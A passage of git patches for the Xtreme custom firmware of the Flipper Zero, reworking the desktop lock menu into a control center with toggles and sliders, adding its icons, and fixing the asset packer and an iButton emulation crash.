consumed = true; + // break; + + // case DesktopLockMenuEventPinLockShutdown: + // if(desktop->settings.pin_code.length > 0) { + // desktop_pin_lock(&desktop->settings); + // desktop_lock(desktop); + // Power* power = furi_record_open(RECORD_POWER); + // furi_delay_ms(666); + // power_off(power); + // furi_record_close(RECORD_POWER); + // } else { + // LoaderStatus status = + // loader_start(desktop->loader, "Desktop", DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG); + // if(status == LoaderStatusOk) { + // scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 2); + // } else { + // FURI_LOG_E(TAG, "Unable to start desktop settings"); + // } + // } + // consumed = true; + // break; + + case DesktopLockMenuEventSettings: + // loader_start(desktop->loader, "Settings", NULL); + // view_dispatcher_switch_to_view(desktop->loader->view_dispatcher, LoaderMenuViewSettings); + consumed = true; + break; + case DesktopLockMenuEventLock: scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 0); desktop_lock(desktop); consumed = true; break; - case DesktopLockMenuEventPinLock: - if(desktop->settings.pin_code.length > 0) { - desktop_pin_lock(&desktop->settings); - desktop_lock(desktop); - } else { - LoaderStatus status = - loader_start(desktop->loader, "Desktop", DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG); - if(status == LoaderStatusOk) { - scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 1); - } else { - FURI_LOG_E(TAG, "Unable to start desktop settings"); - } - } + case DesktopLockMenuEventXtreme: + loader_start(desktop->loader, FAP_LOADER_APP_NAME, EXT_PATH("apps/.Main/xtreme_app.fap")); consumed = true; break; - case DesktopLockMenuEventPinLockShutdown: - if(desktop->settings.pin_code.length > 0) { - desktop_pin_lock(&desktop->settings); - desktop_lock(desktop); - Power* power = furi_record_open(RECORD_POWER); - furi_delay_ms(666); - power_off(power); - furi_record_close(RECORD_POWER); - } else { - LoaderStatus status = - loader_start(desktop->loader, "Desktop", DESKTOP_SETTINGS_RUN_PIN_SETUP_ARG); - if(status == LoaderStatusOk) { - scene_manager_set_scene_state(desktop->scene_manager, DesktopSceneLockMenu, 2); - } else { - FURI_LOG_E(TAG, "Unable to start desktop settings"); - } - } - consumed = true; - break; - - case DesktopLockMenuEventXtremeSettings: - loader_start( - desktop->loader, FAP_LOADER_APP_NAME, EXT_PATH("apps/.Main/xtreme_app.fap")); - break; default: break; } diff --git a/applications/services/desktop/views/desktop_events.h b/applications/services/desktop/views/desktop_events.h index a17114ad2..34276041a 100644 --- a/applications/services/desktop/views/desktop_events.h +++ b/applications/services/desktop/views/desktop_events.h @@ -39,11 +39,9 @@ typedef enum { DesktopDebugEventSaveState, DesktopDebugEventExit, + DesktopLockMenuEventSettings, DesktopLockMenuEventLock, - DesktopLockMenuEventPinLock, - DesktopLockMenuEventPinLockShutdown, - DesktopLockMenuEventExit, - DesktopLockMenuEventXtremeSettings, + DesktopLockMenuEventXtreme, DesktopAnimationEventCheckAnimation, DesktopAnimationEventNewIdleAnimation, diff --git a/applications/services/desktop/views/desktop_view_lock_menu.c b/applications/services/desktop/views/desktop_view_lock_menu.c index f9530fe84..b92b5981c 100644 --- a/applications/services/desktop/views/desktop_view_lock_menu.c +++ b/applications/services/desktop/views/desktop_view_lock_menu.c @@ -1,15 +1,28 @@ #include #include #include +#include +#include #include "../desktop_i.h" #include "desktop_view_lock_menu.h" +static const NotificationSequence sequence_note_c = { + &message_note_c5, + &message_delay_100, + &message_sound_off, + NULL, +}; + typedef enum { + DesktopLockMenuIndexLefthandedMode, + DesktopLockMenuIndexSettings, + DesktopLockMenuIndexDarkMode, DesktopLockMenuIndexLock, - DesktopLockMenuIndexPinLock, - DesktopLockMenuIndexPinLockShutdown, - DesktopLockMenuIndexXtremeSettings, + DesktopLockMenuIndexBluetooth, + DesktopLockMenuIndexXtreme, + DesktopLockMenuIndexBrightness, + DesktopLockMenuIndexVolume, DesktopLockMenuIndexTotalCount } DesktopLockMenuIndex; @@ -42,36 +55,96 @@ void desktop_lock_menu_draw_callback(Canvas* canvas, void* model) { DesktopLockMenuViewModel* m = model; canvas_set_color(canvas, ColorBlack); - canvas_draw_icon(canvas, -57, 0 + STATUS_BAR_Y_SHIFT, &I_DoorLeft_70x55); - canvas_draw_icon(canvas, 116, 0 + STATUS_BAR_Y_SHIFT, &I_DoorRight_70x55); canvas_set_font(canvas, FontBatteryPercent); + int x, y, w, h; + bool selected, toggle; + bool enabled = false; + uint value = 0; + int total = 58; + const Icon* icon = NULL; for(size_t i = 0; i < DesktopLockMenuIndexTotalCount; ++i) { - const char* str = NULL; - - if(i == DesktopLockMenuIndexLock) { - str = "Lock"; - } else if(i == DesktopLockMenuIndexPinLock) { - if(m->pin_is_set) { - str = "Lock with PIN"; - } else { - str = "Set PIN"; - } - } else if(i == DesktopLockMenuIndexPinLockShutdown) { - if(m->pin_is_set) { - str = "Lock with PIN + Off"; - } else { - str = "Set PIN + Off"; - } - } else if(i == DesktopLockMenuIndexXtremeSettings) { - str = "Xtreme Settings"; + selected = m->idx == i; + toggle = i < 6; + if(toggle) { + x = 2 + 32 * (i / 2); + y = 2 + 32 * (i % 2); + w = 28; + h = 28; + enabled = false; + } else { + x = 98 + 16 * (i % 2); + y = 2; + w = 12; + h = 60; + value = 0; } - if(str) //-V547 - canvas_draw_str_aligned( - canvas, 64, 9 + (i * 12) + STATUS_BAR_Y_SHIFT, AlignCenter, AlignCenter, str); + switch(i) { + case DesktopLockMenuIndexLefthandedMode: + icon = &I_CC_LefthandedMode_16x16; + enabled = furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient); + break; + case DesktopLockMenuIndexSettings: + icon = &I_CC_Settings_16x16; + break; + case DesktopLockMenuIndexDarkMode: + icon = &I_CC_DarkMode_16x16; + enabled = XTREME_SETTINGS()->dark_mode; + break; + case DesktopLockMenuIndexLock: + icon = &I_CC_Lock_16x16; + break; + case DesktopLockMenuIndexBluetooth: + icon = &I_CC_Bluetooth_16x16; + enabled = m->lock_menu->bt->bt_settings.enabled; + break; + case DesktopLockMenuIndexXtreme: + icon = &I_CC_Xtreme_16x16; + break; + case DesktopLockMenuIndexBrightness: + icon = &I_Pin_star_7x7; + value = total - m->lock_menu->notification->settings.display_brightness * total; + break; + case DesktopLockMenuIndexVolume: + icon = &I_Volup_8x6; + value = total - m->lock_menu->notification->settings.speaker_volume * total; + break; + default: + break; + } - if(m->idx == i) elements_frame(canvas, 15, 1 + (i * 12) + STATUS_BAR_Y_SHIFT, 98, 15); + if(selected) { + elements_bold_rounded_frame(canvas, x - 1, y - 1, w + 1, h + 1); + } else { + canvas_draw_rframe(canvas, x, y, w, h, 5); + } + + if(toggle) { + if(enabled) { + canvas_draw_rbox(canvas, x, y, w, h, 5); + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_icon(canvas, x + (w - icon_get_width(icon)) / 2, y + (h - icon_get_height(icon)) / 2, icon); + if(enabled) { + canvas_set_color(canvas, ColorBlack); + } + } else { + canvas_draw_icon(canvas, x + (w - icon_get_width(icon)) / 2, y + (h - icon_get_height(icon)) / 2, icon); + canvas_set_color(canvas, ColorXOR); + canvas_draw_box(canvas, x + 1, y + 1 + value, w - 2, h - 2 - value); + if(selected) { + canvas_set_color(canvas, ColorBlack); + } else { + canvas_set_color(canvas, ColorWhite); + } + canvas_draw_dot(canvas, x + 1, y + 1); + canvas_draw_dot(canvas, x + 1, y + h - 2); + canvas_draw_dot(canvas, x + w - 2, y + 1); + canvas_draw_dot(canvas, x + w - 2, y + h - 2); + canvas_set_color(canvas, ColorBlack); + canvas_draw_rframe(canvas, x, y, w, h, 5); + } } } @@ -86,47 +159,113 @@ bool desktop_lock_menu_input_callback(InputEvent* event, void* context) { DesktopLockMenuView* lock_menu = context; uint8_t idx = 0; - bool consumed = false; - bool update = false; + bool consumed = true; with_view_model( lock_menu->view, DesktopLockMenuViewModel * model, { if((event->type == InputTypeShort) || (event->type == InputTypeRepeat)) { - if(event->key == InputKeyUp) { - if(model->idx == 0) { - model->idx = DesktopLockMenuIndexTotalCount - 1; - } else { - model->idx = CLAMP(model->idx - 1, DesktopLockMenuIndexTotalCount - 1, 0); + if(model->idx < 6) { + if(event->key == InputKeyUp || event->key == InputKeyDown) { + if(model->idx % 2) { + model->idx--; + } else { + model->idx++; + } + } else if(event->key == InputKeyLeft) { + if(model->idx < 2) { + model->idx = 7; + } else { + model->idx -= 2; + } + } else if(event->key == InputKeyRight) { + if(model->idx >= 4) { + model->idx = 6; + } else { + model->idx += 2; + } } - update = true; - consumed = true; - } else if(event->key == InputKeyDown) { - if(model->idx == DesktopLockMenuIndexTotalCount - 1) { - model->idx = 0; - } else { - model->idx = CLAMP(model->idx + 1, DesktopLockMenuIndexTotalCount - 1, 0); + } else { + if(event->key == InputKeyLeft) { + model->idx--; + } else if(event->key == InputKeyRight) { + if(model->idx >= 7) { + model->idx = 1; + } else { + model->idx++; + } } - update = true; - consumed = true; } } idx = model->idx; }, - update); + true); - if(event->key == InputKeyOk) { - if((idx == DesktopLockMenuIndexLock) && (event->type == InputTypeShort)) { - lock_menu->callback(DesktopLockMenuEventLock, lock_menu->context); - } else if((idx == DesktopLockMenuIndexPinLock) && (event->type == InputTypeShort)) { - lock_menu->callback(DesktopLockMenuEventPinLock, lock_menu->context); - } else if((idx == DesktopLockMenuIndexPinLockShutdown) && (event->type == InputTypeShort)) { - lock_menu->callback(DesktopLockMenuEventPinLockShutdown, lock_menu->context); - } else if((idx == DesktopLockMenuIndexXtremeSettings) && (event->type == InputTypeShort)) { - lock_menu->callback(DesktopLockMenuEventXtremeSettings, lock_menu->context); + UNUSED(idx); + if(event->key == InputKeyBack) { + consumed = false; + } else if(event->type == InputTypeShort) { + if(event->key == InputKeyOk) { + DesktopEvent event = 0; + switch(idx) { + case DesktopLockMenuIndexLefthandedMode: + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { + furi_hal_rtc_reset_flag(FuriHalRtcFlagHandOrient); + } else { + furi_hal_rtc_set_flag(FuriHalRtcFlagHandOrient); + } + break; + case DesktopLockMenuIndexSettings: + event = DesktopLockMenuEventSettings; + break; + case DesktopLockMenuIndexDarkMode: + XTREME_SETTINGS()->dark_mode = !XTREME_SETTINGS()->dark_mode; + XTREME_SETTINGS_SAVE(); + break; + case DesktopLockMenuIndexLock: + event = DesktopLockMenuEventLock; + break; + case DesktopLockMenuIndexBluetooth: + lock_menu->bt->bt_settings.enabled = !lock_menu->bt->bt_settings.enabled; + bt_settings_save(&lock_menu->bt->bt_settings); + break; + case DesktopLockMenuIndexXtreme: + event = DesktopLockMenuEventXtreme; + break; + default: + break; + } + if(event) { + lock_menu->callback(event, lock_menu->context); + } + } else if(idx >= 6) { + int8_t offset = 0; + if(event->key == InputKeyUp) { + offset = 1; + } else if(event->key == InputKeyDown) { + offset = -1; + } + if(offset) { + float value; + switch(idx) { + case DesktopLockMenuIndexBrightness: + value = lock_menu->notification->settings.display_brightness + 0.05 * offset; + lock_menu->notification->settings.display_brightness = value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); + notification_message_save_settings(lock_menu->notification); + notification_message(lock_menu->notification, &sequence_display_backlight_on); + break; + case DesktopLockMenuIndexVolume: + value = lock_menu->notification->settings.speaker_volume + 0.05 * offset; + lock_menu->notification->settings.speaker_volume = value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); + notification_message_save_settings(lock_menu->notification); + notification_message(lock_menu->notification, &sequence_note_c); + break; + default: + break; + } + } } - consumed = true; } return consumed; @@ -134,8 +273,15 @@ bool desktop_lock_menu_input_callback(InputEvent* event, void* context) { DesktopLockMenuView* desktop_lock_menu_alloc() { DesktopLockMenuView* lock_menu = malloc(sizeof(DesktopLockMenuView)); + lock_menu->bt = furi_record_open(RECORD_BT); + lock_menu->notification = furi_record_open(RECORD_NOTIFICATION); lock_menu->view = view_alloc(); view_allocate_model(lock_menu->view, ViewModelTypeLocking, sizeof(DesktopLockMenuViewModel)); + with_view_model( + lock_menu->view, + DesktopLockMenuViewModel * model, + { model->lock_menu = lock_menu; }, + false); view_set_context(lock_menu->view, lock_menu); view_set_draw_callback(lock_menu->view, (ViewDrawCallback)desktop_lock_menu_draw_callback); view_set_input_callback(lock_menu->view, desktop_lock_menu_input_callback); @@ -147,5 +293,7 @@ void desktop_lock_menu_free(DesktopLockMenuView* lock_menu_view) { furi_assert(lock_menu_view); view_free(lock_menu_view->view); + furi_record_close(RECORD_NOTIFICATION); + furi_record_close(RECORD_BT); free(lock_menu_view); } diff --git a/applications/services/desktop/views/desktop_view_lock_menu.h b/applications/services/desktop/views/desktop_view_lock_menu.h index da144d1f3..f0548b2b1 100644 --- a/applications/services/desktop/views/desktop_view_lock_menu.h +++ b/applications/services/desktop/views/desktop_view_lock_menu.h @@ -2,6 +2,8 @@ #include #include "desktop_events.h" +#include +#include #define HINT_TIMEOUT 2 @@ -12,12 +14,15 @@ typedef void (*DesktopLockMenuViewCallback)(DesktopEvent event, void* context); struct DesktopLockMenuView { View* view; DesktopLockMenuViewCallback callback; + NotificationApp* notification; + Bt* bt; void* context; }; typedef struct { uint8_t idx; bool pin_is_set; + DesktopLockMenuView* lock_menu; } DesktopLockMenuViewModel; void desktop_lock_menu_set_callback( diff --git a/assets/icons/ControlCenter/CC_Bluetooth_16x16.png b/assets/icons/ControlCenter/CC_Bluetooth_16x16.png new file mode 100644 index 0000000000000000000000000000000000000000..67d642d4778e9b4efabebbf0b4800bc373482f11 GIT binary patch literal 639 zcmV-_0)YLAP)EX>4Tx04R}tkv&MmKpe$iQ>7vm2MdZgWT=8*7Zq`=RVYG*P%E_RU~=gfG-*gu zTpR`0f`cE6RRAQH!!VcNtS#50?= z!FiuJ!b-AAd`>)J(glehxvqHp#<}RSz%wIeCOuCaAr^}rtaLCdnHuplaa7fG$``U8 ztDLtuYn2*n-IKpCoYz;DxlVHgNi1Rs5=1Ddp^OS_>Z=T$6botEPx$zUUB5&wg=bb^8^S!16O+6Uu^)hpQP8@ zTJ#9$-v%zO+nTZmTf3FbqPq?EY8Iz6xE5&g82EmBz=aDwrV&Cs_!FWEMbDiq-xTu)lhX z)xJGp8q#*qiTC?1RF-%OmHC&#X;3I5jBZxSKf0)+jEP)EX>4Tx04R}tkv&MmKpe$iQ>7vm2MdZgWT=8*7Zq`=RVYG*P%E_RU~=gfG-*gu zTpR`0f`cE6RRAQH!!VcNtS#50?= z!FiuJ!b-AAd`>)J(glehxvqHp#<}RSz%wIeCOuCaAr^}rtaLCdnHuplaa7fG$``U8 ztDLtuYn2*n-IKpCoYz;DxlVHgNi1Rs5=1Ddp^OS_>Z=T$6botEPx$zUUB5&wg=bb^8^S!16O+6Uu^)hpQP8@ zTJ#9$-v%zO+nTZmTm(~_0000PbVXQnLvL+uWo~o;Lvm$dbY)~9cWHEJAV*0}P*;Ht7XSbN zWl2OqR4C8AQaKL5FbKo^|IhA#M1c}SmU;`=Tnq!HkIEdTt{Q$Vz VMG*PjM=$^Y002ovPDHLkV1k+|{$KzA literal 0 HcmV?d00001 diff --git a/assets/icons/ControlCenter/CC_LefthandedMode_16x16.png b/assets/icons/ControlCenter/CC_LefthandedMode_16x16.png new file mode 100644 index 0000000000000000000000000000000000000000..1f8b4ca4855fa4c4cd616cd84569442e5a761413 GIT binary patch literal 638 zcmV-^0)hRBP)EX>4Tx04R}tkv&MmKpe$iQ>7vm2MdZgWT=8*7Zq`=RVYG*P%E_RU~=gfG-*gu zTpR`0f`cE6RRAQH!!VcNtS#50?= z!FiuJ!b-AAd`>)J(glehxvqHp#<}RSz%wIeCOuCaAr^}rtaLCdnHuplaa7fG$``U8 ztDLtuYn2*n-IKpCoYz;DxlVHgNi1Rs5=1Ddp^OS_>Z=T$6botEPx$zUUB5&wg=bb^8^S!16O+6Uu^)hpQP8@ zTJ#9$-v%zO+nTZmTPL?0p98zCuoH;}CZmtor^m;G6CGzh_}(3eJnGkZeVnBisH=f7zem Y0kS(pAoRoQtpET307*qoM6N<$f|>3EAOHXW literal 0 HcmV?d00001 diff --git a/assets/icons/ControlCenter/CC_Lock_16x16.png b/assets/icons/ControlCenter/CC_Lock_16x16.png new file mode 100644 index 0000000000000000000000000000000000000000..13d5efcad66737cf8c6586725f2319998437f646 GIT binary patch literal 622 zcmV-!0+IcRP)EX>4Tx04R}tkv&MmKpe$iQ>7vm2MdZgWT=8*7Zq`=RVYG*P%E_RU~=gfG-*gu zTpR`0f`cE6RRAQH!!VcNtS#50?= z!FiuJ!b-AAd`>)J(glehxvqHp#<}RSz%wIeCOuCaAr^}rtaLCdnHuplaa7fG$``U8 ztDLtuYn2*n-IKpCoYz;DxlVHgNi1Rs5=1Ddp^OS_>Z=T$6botEPx$zUUB5&wg=bb^8^S!16O+6Uu^)hpQP8@ zTJ#9$-v%zO+nTZmTfqB?(SQHs|0Oas>B)cLxAz1-1_Q zuG|8<`Je!8jGmxTOmsSdYv!&4N#O>*Glje&>i!pIqDFgA04zBs7=$1>bpQYW07*qo IM6N<$f}_jx&Hw-a literal 0 HcmV?d00001 diff --git a/assets/icons/ControlCenter/CC_Settings_16x16.png b/assets/icons/ControlCenter/CC_Settings_16x16.png new file mode 100644 index 0000000000000000000000000000000000000000..defc2e41df1ccd7ed55eab8ca021aa655c1c1083 GIT binary patch literal 666 zcmV;L0%iS)P)EX>4Tx04R}tkv&MmKpe$iQ>7vm2MdZgWT=8*7Zq`=RVYG*P%E_RU~=gfG-*gu zTpR`0f`cE6RRAQH!!VcNtS#50?= z!FiuJ!b-AAd`>)J(glehxvqHp#<}RSz%wIeCOuCaAr^}rtaLCdnHuplaa7fG$``U8 ztDLtuYn2*n-IKpCoYz;DxlVHgNi1Rs5=1Ddp^OS_>Z=T$6botEPx$zUUB5&wg=bb^8^S!16O+6Uu^)hpQP8@ zTJ#9$-v%zO+nTZmT@&`(0*^ zaA&H5bdUs`Lb_g_PYMj--0QCUoarUEX>4Tx04R}tkv&MmKpe$iQ>7vm2MdZgWT=8*7Zq`=RVYG*P%E_RU~=gfG-*gu zTpR`0f`cE6RRAQH!!VcNtS#50?= z!FiuJ!b-AAd`>)J(glehxvqHp#<}RSz%wIeCOuCaAr^}rtaLCdnHuplaa7fG$``U8 ztDLtuYn2*n-IKpCoYz;DxlVHgNi1Rs5=1Ddp^OS_>Z=T$6botEPx$zUUB5&wg=bb^8^S!16O+6Uu^)hpQP8@ zTJ#9$-v%zO+nTZmT^7;|Wk9sO zHpJ#t%ZjKFHJcJww&e|!i;Uw`SPlMBjFZD<9J|Q6X!$g@sNv+>)R%rA;|}SeG#kF| RpIQI_002ovPDHLkV1lLD|EvH2 literal 0 HcmV?d00001 diff --git a/assets/icons/Interface/DoorLeft_70x55.png b/assets/icons/Interface/DoorLeft_70x55.png deleted file mode 100644 index 5df87ba3ce60e52f01ca93ef6c0a576e160890c7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 564 zcmeAS@N?(olHy`uVBq!ia0vp^Za{3##0(_Q*j*_GQY`6?zK#qG8~eHcB(ehe3dtTp zz6=aiY77hwEes65fIEak-ak_VsVc!u29#>zM zpe>@TFN4o(&Pl3vi+VSCalkpl<1-|z7e;zZcA9_tzMb)a%YyZXbT9S%slVv8B4(m! zQB<4odqHhcAcx1J*v z3=wN2`Z?28g|9oToszWvZ1Q%gU-3CQ&KexiQY$8Ov6r}C)7kWdtBQTr){lx(Ec=bC zJ~Q&3s$W>TMdNE9^TewT`{taq@-NsUbT#V5YvZir8#@}yYWbQ@gq^dQV=c1uO85p% zu7&!iM0PFS&CylzUF;;Uq{{b<33t9ZYoGO4a?5z)chwiB7d+mdKXNQ! zC8<`)MX5lF!N|bKP}jgj*T_7?z}(8z#LC1#+rYrez#wW)@(&aZx%nxXX_e?2jIB&e WAR26gp6CHJFnGH9xvXIqW5#zOL*~S)|zwMEwOP0bRhT=jq}YVsW~6vh}*d3IeXN zN31)4cfL?;Xp|4q@cp7B0AV+D3);<=5C+e>7`V7w%P2TFhy5iBW=eV*l|y0v``5 z7c}!;@?t5zz%zM8QuBkHi+-}31P=zw=en49-z^IZJ@Z9q)`F9UPbWS1RzI#F$spI2 z;icic(P-C974aXl^rIX@_2%)r-MJP0RY5XW^wsR|9a_Obu2*mWV~~Fy8TzMR-x3&@ zswJ)wB`Jv|saDBFsX&Us$iT=@*T6*A$UMZr+{(n<%G6TZz`)ADKvUeQ3`Ik3eoAIq bC8h=w6NrYd=Ch{&H86O(`njxgN@xNAhg#0O From 68274e48b9e5814f65bf306800ea7cd9abcc8594 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 23 Mar 2023 20:24:58 +0000 Subject: [PATCH 247/329] Fix asset packer --- scripts/asset_packer.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/scripts/asset_packer.py b/scripts/asset_packer.py index ebf52c4a1..90ad824f8 100755 --- a/scripts/asset_packer.py +++ b/scripts/asset_packer.py @@ -114,7 +114,7 @@ def pack( ) manifest = (source / "Anims/manifest.txt").read_bytes() for anim in re.finditer(rb"Name: (.*)", manifest): - anim = anim.group(1).decode().replace("\\", "/").replace("/", os.sep) + anim = anim.group(1).decode().replace("\\", "/").replace("/", os.sep).replace("\r", "\n").strip() logger(f"Compile: anim for pack '{source.name}': {anim}") pack_anim(source / "Anims" / anim, packed / "Anims" / anim) From b11161abb0626eb6ca55b0c0884ae08f5632d193 Mon Sep 17 00:00:00 2001 From: Georgii Surkov Date: Thu, 23 Mar 2023 22:53:10 +0300 Subject: [PATCH 248/329] Fix crash when emulating a DSGeneric key --- lib/ibutton/protocols/dallas/protocol_ds_generic.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/ibutton/protocols/dallas/protocol_ds_generic.c b/lib/ibutton/protocols/dallas/protocol_ds_generic.c index af355f461..6c698bb89 100644 --- a/lib/ibutton/protocols/dallas/protocol_ds_generic.c +++ b/lib/ibutton/protocols/dallas/protocol_ds_generic.c @@ -62,6 +62,7 @@ bool ds_generic_write_blank(OneWireHost* host, iButtonProtocolData* protocol_dat } static bool ds_generic_reset_callback(bool is_short, void* context) { + furi_assert(context); DallasGenericProtocolData* data = context; if(!is_short) { onewire_slave_set_overdrive(data->state.bus, is_short); @@ -93,7 +94,7 @@ void ds_generic_emulate(OneWireSlave* bus, iButtonProtocolData* protocol_data) { DallasGenericProtocolData* data = protocol_data; data->state.bus = bus; - onewire_slave_set_reset_callback(bus, ds_generic_reset_callback, NULL); + onewire_slave_set_reset_callback(bus, ds_generic_reset_callback, protocol_data); onewire_slave_set_command_callback(bus, ds_generic_command_callback, protocol_data); } From 90b333b088e2a257f3b8164c6827d842b5f61875 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 23 Mar 2023 22:23:32 +0000 Subject: [PATCH 249/329] Lock menu save settings at exit (fix lag) --- .../desktop/scenes/desktop_scene_lock_menu.c | 15 ++- .../desktop/views/desktop_view_lock_menu.c | 111 +++++++++--------- .../desktop/views/desktop_view_lock_menu.h | 3 + 3 files changed, 74 insertions(+), 55 deletions(-) diff --git a/applications/services/desktop/scenes/desktop_scene_lock_menu.c b/applications/services/desktop/scenes/desktop_scene_lock_menu.c index f9d9008e7..77c956ff1 100644 --- a/applications/services/desktop/scenes/desktop_scene_lock_menu.c +++ b/applications/services/desktop/scenes/desktop_scene_lock_menu.c @@ -30,6 +30,10 @@ void desktop_scene_lock_menu_on_enter(void* context) { desktop_lock_menu_set_pin_state(desktop->lock_menu, desktop->settings.pin_code.length > 0); desktop_lock_menu_set_idx(desktop->lock_menu, 3); + desktop->lock_menu->save_notification = false; + desktop->lock_menu->save_xtreme = false; + desktop->lock_menu->save_bt = false; + view_dispatcher_switch_to_view(desktop->view_dispatcher, DesktopViewIdLockMenu); } @@ -120,5 +124,14 @@ bool desktop_scene_lock_menu_on_event(void* context, SceneManagerEvent event) { } void desktop_scene_lock_menu_on_exit(void* context) { - UNUSED(context); + Desktop* desktop = (Desktop*)context; + if(desktop->lock_menu->save_notification) { + notification_message_save_settings(desktop->lock_menu->notification); + } + if(desktop->lock_menu->save_xtreme) { + XTREME_SETTINGS_SAVE(); + } + if(desktop->lock_menu->save_bt) { + bt_settings_save(&desktop->lock_menu->bt->bt_settings); + } } diff --git a/applications/services/desktop/views/desktop_view_lock_menu.c b/applications/services/desktop/views/desktop_view_lock_menu.c index b92b5981c..c84fdd868 100644 --- a/applications/services/desktop/views/desktop_view_lock_menu.c +++ b/applications/services/desktop/views/desktop_view_lock_menu.c @@ -205,66 +205,69 @@ bool desktop_lock_menu_input_callback(InputEvent* event, void* context) { UNUSED(idx); if(event->key == InputKeyBack) { consumed = false; - } else if(event->type == InputTypeShort) { - if(event->key == InputKeyOk) { - DesktopEvent event = 0; + } else if(event->key == InputKeyOk && event->type == InputTypeShort) { + DesktopEvent event = 0; + switch(idx) { + case DesktopLockMenuIndexLefthandedMode: + if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { + furi_hal_rtc_reset_flag(FuriHalRtcFlagHandOrient); + } else { + furi_hal_rtc_set_flag(FuriHalRtcFlagHandOrient); + } + break; + case DesktopLockMenuIndexSettings: + event = DesktopLockMenuEventSettings; + break; + case DesktopLockMenuIndexDarkMode: + XTREME_SETTINGS()->dark_mode = !XTREME_SETTINGS()->dark_mode; + lock_menu->save_xtreme = true; + break; + case DesktopLockMenuIndexLock: + event = DesktopLockMenuEventLock; + break; + case DesktopLockMenuIndexBluetooth: + lock_menu->bt->bt_settings.enabled = !lock_menu->bt->bt_settings.enabled; + if(lock_menu->bt->bt_settings.enabled) { + furi_hal_bt_start_advertising(); + } else { + furi_hal_bt_stop_advertising(); + } + lock_menu->save_bt = true; + break; + case DesktopLockMenuIndexXtreme: + event = DesktopLockMenuEventXtreme; + break; + default: + break; + } + if(event) { + lock_menu->callback(event, lock_menu->context); + } + } else if(idx >= 6 && (event->type == InputTypeShort || event->type == InputTypeRepeat)) { + int8_t offset = 0; + if(event->key == InputKeyUp) { + offset = 1; + } else if(event->key == InputKeyDown) { + offset = -1; + } + if(offset) { + float value; switch(idx) { - case DesktopLockMenuIndexLefthandedMode: - if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagHandOrient)) { - furi_hal_rtc_reset_flag(FuriHalRtcFlagHandOrient); - } else { - furi_hal_rtc_set_flag(FuriHalRtcFlagHandOrient); - } + case DesktopLockMenuIndexBrightness: + value = lock_menu->notification->settings.display_brightness + 0.05 * offset; + lock_menu->notification->settings.display_brightness = value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); + lock_menu->save_notification = true; + notification_message(lock_menu->notification, &sequence_display_backlight_on); break; - case DesktopLockMenuIndexSettings: - event = DesktopLockMenuEventSettings; - break; - case DesktopLockMenuIndexDarkMode: - XTREME_SETTINGS()->dark_mode = !XTREME_SETTINGS()->dark_mode; - XTREME_SETTINGS_SAVE(); - break; - case DesktopLockMenuIndexLock: - event = DesktopLockMenuEventLock; - break; - case DesktopLockMenuIndexBluetooth: - lock_menu->bt->bt_settings.enabled = !lock_menu->bt->bt_settings.enabled; - bt_settings_save(&lock_menu->bt->bt_settings); - break; - case DesktopLockMenuIndexXtreme: - event = DesktopLockMenuEventXtreme; + case DesktopLockMenuIndexVolume: + value = lock_menu->notification->settings.speaker_volume + 0.05 * offset; + lock_menu->notification->settings.speaker_volume = value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); + lock_menu->save_notification = true; + notification_message(lock_menu->notification, &sequence_note_c); break; default: break; } - if(event) { - lock_menu->callback(event, lock_menu->context); - } - } else if(idx >= 6) { - int8_t offset = 0; - if(event->key == InputKeyUp) { - offset = 1; - } else if(event->key == InputKeyDown) { - offset = -1; - } - if(offset) { - float value; - switch(idx) { - case DesktopLockMenuIndexBrightness: - value = lock_menu->notification->settings.display_brightness + 0.05 * offset; - lock_menu->notification->settings.display_brightness = value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); - notification_message_save_settings(lock_menu->notification); - notification_message(lock_menu->notification, &sequence_display_backlight_on); - break; - case DesktopLockMenuIndexVolume: - value = lock_menu->notification->settings.speaker_volume + 0.05 * offset; - lock_menu->notification->settings.speaker_volume = value < 0.00f ? 0.00f : (value > 1.00f ? 1.00f : value); - notification_message_save_settings(lock_menu->notification); - notification_message(lock_menu->notification, &sequence_note_c); - break; - default: - break; - } - } } } diff --git a/applications/services/desktop/views/desktop_view_lock_menu.h b/applications/services/desktop/views/desktop_view_lock_menu.h index f0548b2b1..1c0840c13 100644 --- a/applications/services/desktop/views/desktop_view_lock_menu.h +++ b/applications/services/desktop/views/desktop_view_lock_menu.h @@ -16,6 +16,9 @@ struct DesktopLockMenuView { DesktopLockMenuViewCallback callback; NotificationApp* notification; Bt* bt; + bool save_notification; + bool save_xtreme; + bool save_bt; void* context; }; From 31122e295cd43ecca6f5c0e8b8f1586e38a911b0 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Fri, 24 Mar 2023 00:00:33 +0000 Subject: [PATCH 250/329] Hide statusbar in lock menu --- .../desktop/scenes/desktop_scene_lock_menu.c | 8 ++++++++ applications/services/gui/gui.c | 15 ++++++++++++++- applications/services/gui/gui.h | 9 +++++++++ applications/services/gui/gui_i.h | 1 + firmware/targets/f18/api_symbols.csv | 1 + firmware/targets/f7/api_symbols.csv | 1 + 6 files changed, 34 insertions(+), 1 deletion(-) diff --git a/applications/services/desktop/scenes/desktop_scene_lock_menu.c b/applications/services/desktop/scenes/desktop_scene_lock_menu.c index 77c956ff1..91e5f11b4 100644 --- 